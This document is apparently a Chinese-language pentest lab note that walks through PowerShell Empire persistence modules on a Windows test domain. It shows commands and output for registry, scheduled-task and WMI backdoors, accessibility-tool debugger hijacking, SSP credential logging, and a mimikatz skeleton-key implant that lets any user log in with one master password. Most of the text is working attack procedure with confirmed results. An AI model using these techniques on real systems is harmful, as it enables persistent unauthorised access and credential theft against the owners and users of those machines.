這是緊接著上一步
elevated——權(quán)限維持
注冊表
(Empire: powershell/persistence/elevated/registry) > set Listener test
(Empire: powershell/persistence/elevated/registry) > execute
[>] Module is not opsec safe, run? [y/N] y
(Empire: powershell/persistence/elevated/registry) >
Registry persistence established using listener test stored in HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug.

因?yàn)槭情_機(jī)啟動,所以會彈個黑框
計(jì)劃任務(wù)schtasks
(Empire: powershell/persistence/elevated/schtasks) > set Listener test
(Empire: powershell/persistence/elevated/schtasks) > execute
[>] Module is not opsec safe, run? [y/N] y
(Empire: powershell/persistence/elevated/schtasks) >
成功: 成功創(chuàng)建計(jì)劃任務(wù) "Updater"。
Schtasks persistence established using listener test stored in HKLM:\Software\Microsoft\Network\debug with Updater daily trigger at 09:00.

wmi
(Empire: powershell/persistence/elevated/wmi) > set Listener test
(Empire: powershell/persistence/elevated/wmi) > execute
[>] Module is not opsec safe, run? [y/N] y
(Empire: powershell/persistence/elevated/wmi) >
WMI persistence established using listener test with OnStartup WMI subsubscription trigger.
查看的方法參考
運(yùn)行結(jié)果
第一個很明顯是注冊表的,后兩者都提權(quán)為system權(quán)限了
(Empire: FZUB5V31) > agents
[*] Active agents:
Name Lang Internal IP Machine Name Username Process Delay Last Seen
--------- ---- ----------- ------------ --------- ------- ----- --------------------
FZUB5V31 ps 1.1.1.11 WIN-EGQU692VVEO *TEST\Administrator powershell/2736 5/0.0 2017-08-18 10:28:13
E1MPZRLB ps 1.1.1.11 WIN-EGQU692VVEO *TEST\SYSTEM powershell/3624 5/0.0 2017-08-18 10:28:15
NY76AGRX ps 1.1.1.11 WIN-EGQU692VVEO *TEST\SYSTEM powershell/740 5/0.0 2017-08-18 10:28:14
PowerBreach
deaduser刪除指定賬戶時觸發(fā)執(zhí)行
eventlog定時查看事件日志,當(dāng)有指定值如Hack時觸發(fā),需要管理員權(quán)限執(zhí)行
resolver定時解析域名,當(dāng)滿足指定ip時觸發(fā)
UserLand
顧名思義用戶登陸時觸發(fā)。registry schtasks跟前面的重復(fù),backdoor_lnk是構(gòu)造一個特殊的快捷方式。(但是設(shè)置C:\test.LNK并沒有發(fā)現(xiàn)生成成功)
Misc
add_sid_history:調(diào)用Mimikatz的misc::addsid,結(jié)果ERROR mimikatz_doLocal ; "addsid" command of "misc" module not found !
debugger :給sethc.exe, Utilman.exe, osk.exe, Narrator.exe, or Magnify.exe添加debugger
disable_machine_acct_change: 禁用必須修改密碼的策略
ssp
Security Support Provider,直譯為安全支持提供者,又名Security Package.
簡單的理解為SSP就是一個DLL,用來實(shí)現(xiàn)身份認(rèn)證,例如:
NTLM
Kerberos
Negotiate
Secure Channel (Schannel)
Digest
Credential (CredSSP)
SSPI: Security Support Provider Interface,直譯為安全支持提供程序接口,是Windows系統(tǒng)在執(zhí)行認(rèn)證操作所使用的API。 簡單的理解為SSPI是SSP的API接口
LSA: Local Security Authority,用于身份認(rèn)證,常見進(jìn)程為lsass.exe
特別的地方在于LSA是可擴(kuò)展的,在系統(tǒng)啟動的時候SSP會被加載到進(jìn)程lsass.exe中.
這相當(dāng)于我們可以自定義一個dll,在系統(tǒng)啟動的時候被加載到進(jìn)程lsass.exe!
get_ssp查看當(dāng)前的ssp列表。
install_ssp允許你安裝指定dll。
memssp會記錄所有的認(rèn)證事件到C:\Windows\System32\mimisla.log.Should be reboot persistent.
實(shí)際測試根本就沒有生成那個log文件,操作系統(tǒng)2008 R2 x64。
skeleton_key
(Empire: powershell/persistence/misc/skeleton_key) >
Job started: C175UZ
Hostname: WIN-EGQU692VVEO.test.com / authority\system-authority\system
.#####. mimikatz 2.1 (x64) built on Dec 11 2016 18:05:17
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK
Skeleton key implanted. Use password 'mimikatz' for access.
親測可用,任意用戶名加上密碼mimikatz就能登陸。